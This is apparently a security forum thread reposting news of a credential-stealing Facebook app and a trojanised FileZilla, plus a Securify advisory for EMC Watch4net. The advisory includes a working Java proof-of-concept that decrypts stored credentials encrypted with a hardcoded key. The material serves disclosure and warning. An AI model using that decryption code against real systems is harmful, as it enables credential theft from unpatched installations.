Search the Community

Today everybody wants to know — Who visited my Facebook profile?, Who unfriended me from the Facebook Friend list?, Who saw my Facebook posts?, and many other features that isn't provided by Facebook by default. So most Facebook users try to find out a software and fall victim to one that promises to accomplish their desired task. Hackers make use of this weakness and often design malicious programs in order to victimize broad audience. Following I am going to disclose the realities behind one such software designed cleverly to trick Facebook users to make them believe it is genuine. UnfriendAlert, a free application that notifies you whenever someone removes you from the Facebook friend list, has been found collecting its users' Facebook credentials. UnfriendAlert Stealing your Facebook Credentials: Security researchers at Malwarebytes have warned users of the UnfriendAlert app saying that the notorious app asks users to login with their Facebook credentials to activate unfriends monitoring and alert service for your Facebook profile. Facebook has provided API OAuth login system for third party applications, where users don't need to provide their Facebook credentials to them. So you should never submit your Facebook password to any third party service or desktop software in any case. Once you enter your login credentials, UnfriendAlert will send it to the website "yougotunfriended.com" owned by attackers. Late last month, UnfriendAlert was also classified as potentially unwanted program (PUP) which often displays unwanted advertisements and deceptively installs other malicious software and free apps when visiting some web pages in your Chrome, Firefox, and Internet Explorer, making you fail to block them. Uninstall UnfriendAlert and Change your Password Now! So users are recommended to uninstall UnfriendAlert App from your computer, and besides removing this, you are also advised to change your Facebook password as soon as possible. You can do this under "Settings —> Password —> Edit." Always do some research before installing any third party application as your one single mistake could compromise your online security and privacy in various ways. Source

EMC M&R (Watch4net) data storage collector credentials are not properly protected ------------------------------------------------------------------------ Han Sahin, November 2014 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was discovered that EMC M&R (Watch4net) credentials of remote servers stored in Watch4net are encrypted using a fixed hardcoded password. If an attacker manages to obtain a copy of the encrypted credentials, it is trivial to decrypt them. ------------------------------------------------------------------------ Affected products ------------------------------------------------------------------------ EMC reports that the following products are affected by this vulnerability: - EMC M&R (Watch4Net) versions prior 6.5u1 - EMC ViPR SRM versions prior to 3.6.1 ------------------------------------------------------------------------ See also ------------------------------------------------------------------------ - CVE-2015-0514 - ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ EMC released the following updated versions that resolve this vulnerability: - EMC M&R (Watch4Net) 6.5u1 - EMC ViPR SRM 3.6.1 Registered customers can download upgraded software from support.emc.com at https://support.emc.com/downloads/34247_ViPR-SRM. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://www.securify.nl/advisory/SFY20141101/emc_m_r__watch4net__data_storage_collector_credentials_are_not_properly_protected.html Due to insecure use of cryptography the credentials of these remote host can be decrypted using the Java class com.watch4net.apg.v2.common.config.tools.Utils.process(). Proof of concept import com.watch4net.apg.v2.common.config.tools.Utils; public class Watch4NetCrypt { private static void print(String out) { System.out.println(out); } private static void usage() { print("Usage:\t watch4netcrypt [-e] password"); print("\t watch4netcrypt [-d] encrypted"); System.exit(1); } public static void main(String[] args) { if (args.length != 2 || !("-e".equals(args[0]) || "-d".equals(args[0]))) { usage(); } Boolean encrypt = "-e".equals(args[0]); String password = args[1]; if (password != null) { print(Utils.process(password, encrypt, "centralized", null)); } } Source

Malware code can be very small, and the impact can be very severe! The Antivirus firm AVAST spotted a malicious version of the open source FTP (File Transfer Protocol) software 'FileZilla' out in the wild. The software is open source, but has been modified by the hackers that steal users' credentials, offered on various hacked sites for download with banner or text ads. Once installed, the software's appearance and functionalities are equal to the original version, so a user cannot distinguish between the fake or real one, and the malware version of the “.exe” file is just slightly smaller than the real one. "The installed malware FTP client looks like the official version and it is fully functional! You can’t find any suspicious behavior, entries in the system registry, communication or changes in application GUI." The only difference is that the malware version use 2.46.3-Unicode and the official installer use v2.45-Unicode, as shown: "We found a hardcoded connection detail stealer after deeper analysis. Malware authors abuse open source code and add their own stealer function to the main code." The modified version copies the login information of the user and sends it to a server that is apparently in Germany, and same IP address of the server hosts three other domains, which are also associated with malware and spam activities. "Login details are sent to attackers from the ongoing FTP connection only once. Malware doesn't search bookmarks or send any other files or saved connections," Avast explains. This malicious version has been compiled way back in September 2012, and is still detected by just a couple of Antivirus solutions. In the past, Cyber Criminals also used Google Adsense to promote malicious software or the modified open source softwares. Be Careful when downloading the FileZilla FTP client, such malware could also be employed for spreading more malware. Users are recommended to downloaded the softwares from the official website only. Source: Warning: Malicious version of FTP Software FileZilla stealing users' Credentials - The Hacker News Nota personala: Oricum FileZilla e cel mai ratat client ftp. Chiar si pentru conexiunile SSL/TLS, el stocheaza parolele in plain text. Au fost gramada de tickete puse la ei si se pare ca nu considera ca e ceva grav. Referinta: http://trac.filezilla-project.org/ticket/5530 status changed from new to closed priority changed from critical to normal resolution set to rejected .... Pe trac filezilla: Eu va recomand sa nu-l mai descarcati deloc.